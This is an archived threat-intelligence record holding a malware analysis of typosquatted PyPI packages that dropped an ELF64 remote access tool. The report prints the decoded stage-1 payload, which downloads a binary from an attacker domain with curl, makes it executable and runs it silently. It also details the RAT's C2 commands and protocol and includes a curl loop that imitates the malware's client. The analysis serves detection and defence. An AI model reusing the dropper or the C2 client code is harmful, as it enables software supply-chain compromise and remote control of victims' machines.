{
	"id": "6bd3c884-d056-4775-931d-b17017f19392",
	"created_at": "2026-04-06T00:21:57.017201Z",
	"updated_at": "2026-04-10T13:12:43.012452Z",
	"deleted_at": null,
	"sha1_hash": "9d0d7f604cfb9f4a0da7c92ee95e913842e2df9b",
	"title": "Novel ELF64 Remote Access Tool Embedded in Malicious PyPI Uploads",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 883511,
	"plain_text": "Novel ELF64 Remote Access Tool Embedded in Malicious PyPI\r\nUploads\r\nPublished: 2024-02-29 · Archived: 2026-04-05 15:43:43 UTC\r\nIntroduction\r\nOn 19 February, Vipyr Security scanning services notified us of a malicious upload to the Python Package Index\r\n(PyPI) by the name real-ids . This Python package, and subsequent uploads attributed to the same threat actor,\r\ncontains ‘remote access tool’ capabilities— that is, remote code execution, remote file upload and download, and\r\na beaconing service to an HTTPS-based C2.\r\nMalicious Packages:\r\nPackage Upload Time (UTC)\r\nreal-ids@0.0.1 2024-02-19T13:47Z\r\nreal-ids@0.0.2 2024-02-19T13:52Z\r\nreal-ids@0.0.3 2024-02-20T01:43Z\r\nreal-ids@0.0.4 2024-02-20T02:24Z\r\nreal-ids@0.0.5 2024-02-20T02:30Z\r\ncoloredtxt@0.0.1 2024-02-20T07:27Z (Benign)\r\ncoloredtxt@0.0.2 2024-02-20T08:55Z\r\nbeautifultext@0.0.1 2024-02-20T11:17Z\r\nminisound@0.0.1 2024-02-21T12:51Z (Benign)\r\nminisound@0.0.2 2024-02-28T12:43Z\r\nAnalysis\r\nStaging\r\nThe malicious payload is placed in os.py files within typos of popular packages. During the initialization of\r\nthese packages, this os module is imported, executing the payload. Payload occurs in a string of multiple base64\r\nor hex encoding, although base64 was only observed in coloredtxt@0.0.2 . The threat actors’ obfuscation\r\ntechnique is fairly novice compared to others, as they don’t make any attempt to try and circumvent our detection\r\nmechanisms each iteration.\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 1 of 10\n\nHex-encoded stage 1 payload\r\nplatform = sys.platform[0:1]\r\nprint(sys.argv[0])\r\nif platform != \"w\":\r\n try:\r\n url = 'hxxps://arcashop.org/boards.php?type=' + platform\r\n local_filename = os.environ['HOME'] + '/oshelper'\r\n os.system(\"curl --silent \" + url + \" --cookie 'oshelper_session=10237477354732022837433' --output \" + lo\r\n sleep(3)\r\n os.system(\"chmod +x \" + local_filename)\r\n os.system(local_filename + \" \u003e /dev/null 2\u003e\u00261 \u0026\")\r\n except ZeroDivisionError as error:\r\n sleep(0)\r\n finally:\r\n sleep(0)\r\nStage 1 payload after decoding\r\nThe payload is downloaded from the pypi[.]online or arcashop[.]org domain. cURL is invoked with\r\nos.system with the oshelper_session cookie set to 10237477354732022837433 . Interestingly, the malware\r\nseems to only target Linux systems. If the platform is set to Windows, it will not execute.\r\nThe two endpoints are both in a similar format, with the differences being the domain name and PHP file name. In\r\nboth examples, the URL ends with the parameter type , which should always be l for the Linux platform.\r\nhxxps://pypi[.]online/cloud.php?type=\r\nhxxps://arcashop[.]org/boards.php?type=\r\nThese endpoints were resistant to many of our attempts to download the payload, even when accessing from\r\nmobile, residential, cloud, and business/education IP addresses. We’re still unsure how we got a payload to fall\r\nout, as it seemed to happen by chance.\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 2 of 10\n\nBinary analysis\r\nThe payload itself is an ELF binary targeting the x86_64 CPU architecture. The binary appears to have statically\r\nlinked libcurl , but isn’t stripped, so we can still view the function names!\r\nXEncoding: An XOR encryption and decryption function with a custom key.\r\nAcceptRequest: Retrieves commands from the C2, decrypts them and performs actions.\r\nFConnectProxy: Resolves user parameters for SendPost function and time seeds random sources.\r\nSendPost: Primary function to send and receive data.\r\nDuring the analysis, the following headers were discovered:\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\nConnection: Keep-Alive\r\nWith these headers, the data is sent in the following format:\r\nlkjyhnmiop=%s\u0026odldjshrn=%s\u0026ikdiwoep=%s\r\nIf the request is unsuccessful, it will log the error to /tmp/xweb_log.md :\r\nThe commands uncovered during the analysis are a simple set of commands allowing the adversary to upload\r\nfiles, download files, check if an agent is alive, make the agent wait 4 hours, and run commands \u0026 retrieve the\r\noutput from them.\r\nPing1 ( 0x892 ): Send a ‘Success’ response to the C2 and wait 4 hours before polling the C2 again\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 3 of 10\n\nPing2 ( 0x895 ): Send a ‘Success’ response to the C2 and poll for another command instantly\r\nMsgDown ( 0x893 ): Upload files\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 4 of 10\n\nMsgUp ( 0x894 ): Download files\r\nMsgCmd ( 0x898 ): Run command with commandline %s 2\u003e\u00261 \u0026 and send results back to the C2\r\nMsgRun ( 0x897 ): Run command with commandline %s 2\u003e\u00261 \u0026 and do not send results to the C2\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 5 of 10\n\nSimple analysis of the protocol used to communicate to the C2 reveals it uses libcurl to perform http requests.\r\nThe payload will respond with two codes back to the API:\r\n0x89a : Success\r\n0x89b : Failure\r\nThe payload will beacon to hxxps://jdkgradle[.]com/jdk/update/check every 100 seconds to receive\r\ncommands from the C2. Here’s a snippet of a packet capture we took while analyzing the malware.\r\nC2 Activity Analysis\r\nTo further analyze the intentions of the threat actors, we decided to log commands from the C2. There were three\r\nways that we could go about this: binary patching, implementing the C2 protocol, or debugging. Since we’d not\r\ndone extensive analysis on the C2 protocol and binary patching is generally a hard thing to do, we chose to debug\r\nthe binary.\r\nSince we wanted to extract any decrypted C2 payload responses, we chose to break just after the RecvPayload()\r\nfunction was called in the AcceptRequest() function. After some extra testing, we decided we wanted to extract\r\nthe responses that the client was sending back to the server, so we chose to break at the SendPayload() function\r\ntoo.\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 6 of 10\n\nTo extract the decrypted payload, all we needed to do was print the first argument of the RecvPayload() call,\r\nwhich would be populated with the decrypted payload. We can find this linked to the rbx register at instruction\r\n0x00404f3c . For SendPayload() , since symbols weren’t stripped from the binary, we only needed to refer to\r\nthe symbol SendPayload .\r\nTo do this, we wrote the following gdb script and ran it with gdb ./local_file --command=script.gdb .\r\nbreak *SendPayload\r\ncommands\r\np *$rdi\r\nc\r\nend\r\nbreak *0x00404f4f\r\ncommands\r\nx/128x $rbx\r\nc\r\nend\r\nset logging on\r\nr\r\nTo date, we have only observed the command 0x892 , which translates to the Ping1 command and the 2202\r\nclient response, or 0x89a , which translates to the ‘Success’ response.\r\nAfter running this and waiting for for the C2 to beacon again, we had another look at the code for\r\nAcceptRequest() function and found it waited 4 hours each time. This prompted us to patch this particular\r\nbranch and multiply the sleep time by 0 instead of 60 ( 0x3c ), which made it much easier for us to monitor\r\nthe agent in real time.\r\nC2 Protocol Analysis\r\nTo analyze the network traffic, which was encrypted over SSL, we set up Burp Suite as a proxy to capture the\r\nunderlying HTTP requests from the agent. The Burp Suite setup was simple, as we only had the free version, and\r\nwe only changed the target to jdkgradle[.]com , so we could capture server responses. To forward requests\r\nthrough the Burp Suite proxy, the https_proxy environment variable was used. Since the backend was cURL ,\r\nwe knew it would check for proxy environment variables before sending each request and send it via the proxy.\r\nBy default, it didn’t seem to check the authenticity of the server certificate either, which allowed us to MITM with\r\nease.\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 7 of 10\n\nAfter watching the traffic for some time, we gathered a general overview of the C2 protocol:\r\n# Initial connection\r\nAgent -\u003e C2: lkjyhnmiop=\u003cID\u003e\u0026odldjshrn=odlsjdfhw\u0026ikdiwoep=\u003csomething?\u003e (hello im alive)\r\nC2 -\u003e Agent: OK (success)\r\nAgent -\u003e C2: lkjyhnmiop=\u003cID\u003e\u0026odldjshrn=dsaewqfewf (give me commands)\r\nC2 -\u003e Agent: \u003cbase64 encoded command\u003e\r\nAgent -\u003e C2: lkjyhnmiop=1059787080\u0026odldjshrn=content\u0026ikdiwoep=\u003cbase64 encoded command response\u003e\r\nDuring the testing, we could see the debug output as the network requests happened, and we were able to associate\r\ncertain activity with the network requests.\r\nThis is why setting the target was important, as capturing server responses would be crucial, and it would allow us\r\nto arbitrarily decode payloads received from the C2 through other means, such as using cURL to simulate the\r\nclient. With this script, we can simulate a fake client to pull commands from the C2. This allows us to log\r\ncommands, including their payloads, to a text file for later review.\r\nrm -f /tmp/log.txt\r\nwhile [ 1 ]; do\r\n curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \\\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 8 of 10\n\n-A \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.\r\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\r\n -H \"Accept: image/gif, image/x-bitmap, image/jpeg, image/pjepg, application/x-shockwave-flash, */*\" \\\r\n -d 'lkjyhnmiop=689321559\u0026odldjshrn=odlsjdfhw\u0026ikdiwoep=dUxxZhprM15UCmB%2B'\r\n RESP=$(\r\n curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \\\r\n -A \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/53\r\n -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Accept: image/gif, image/x-bitmap, image/jpeg, im\r\n -d 'lkjyhnmiop=689321559\u0026odldjshrn=dsaewqfewf'\r\n )\r\n echo $(echo $RESP | md5sum):$RESP | tee -a /tmp/log.txt\r\ndone\r\nAll packages have been reported to and removed by the PyPI administrators. A special thanks to our friends at\r\nPhylum for helping us with the initial payload, security administrators at PyPI for their rapid handling of our\r\nreports, and Vipyr Security community contributors for the reversal and analysis of the malicious code.\r\nAppendix\r\nTria.ge report\r\nIntezer analyze report\r\nIndicators of Compromise (IoCs)\r\n[\r\n {\r\n \"type\": \"file\",\r\n \"path\": \"/home/*/oshelper\",\r\n \"sha256\": \"973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c\",\r\n \"md5\": \"33c9a47debdb07824c6c51e13740bdfe\"\r\n },\r\n {\r\n \"type\": \"file\",\r\n \"path\": \"/tmp/xweb_log.md\",\r\n \"sha256\": null,\r\n \"md5\": null\r\n },\r\n {\r\n \"type\": \"domain\",\r\n \"name\": \"pypi[.]online\"\r\n },\r\n {\r\n \"type\": \"domain\",\r\n \"name\": \"arcashop[.]org\"\r\n },\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 9 of 10\n\n{\r\n \"type\": \"domain\",\r\n \"name\": \"jdkgradle[.]com\"\r\n }\r\n]\r\nSource: https://vipyrsec.com/research/elf64-rat-malware/\r\nhttps://vipyrsec.com/research/elf64-rat-malware/\r\nPage 10 of 10\n\nMsgUp ( 0x894 ): Download https://vipyrsec.com/research/elf64-rat-malware/ files    \nMsgCmd ( 0x898 ): Run command with commandline %s 2\u003e\u00261 \u0026 and send results back to the C2\nMsgRun ( 0x897 ): Run command with commandline %s 2\u003e\u00261 \u0026 and do not send results to the C2\n  Page 5 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://vipyrsec.com/research/elf64-rat-malware/"
	],
	"report_names": [
		"elf64-rat-malware"
	],
	"threat_actors": [],
	"ts_created_at": 1775434917,
	"ts_updated_at": 1775826763,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9d0d7f604cfb9f4a0da7c92ee95e913842e2df9b.pdf",
		"text": "https://archive.orkl.eu/9d0d7f604cfb9f4a0da7c92ee95e913842e2df9b.txt",
		"img": "https://archive.orkl.eu/9d0d7f604cfb9f4a0da7c92ee95e913842e2df9b.jpg"
	}
}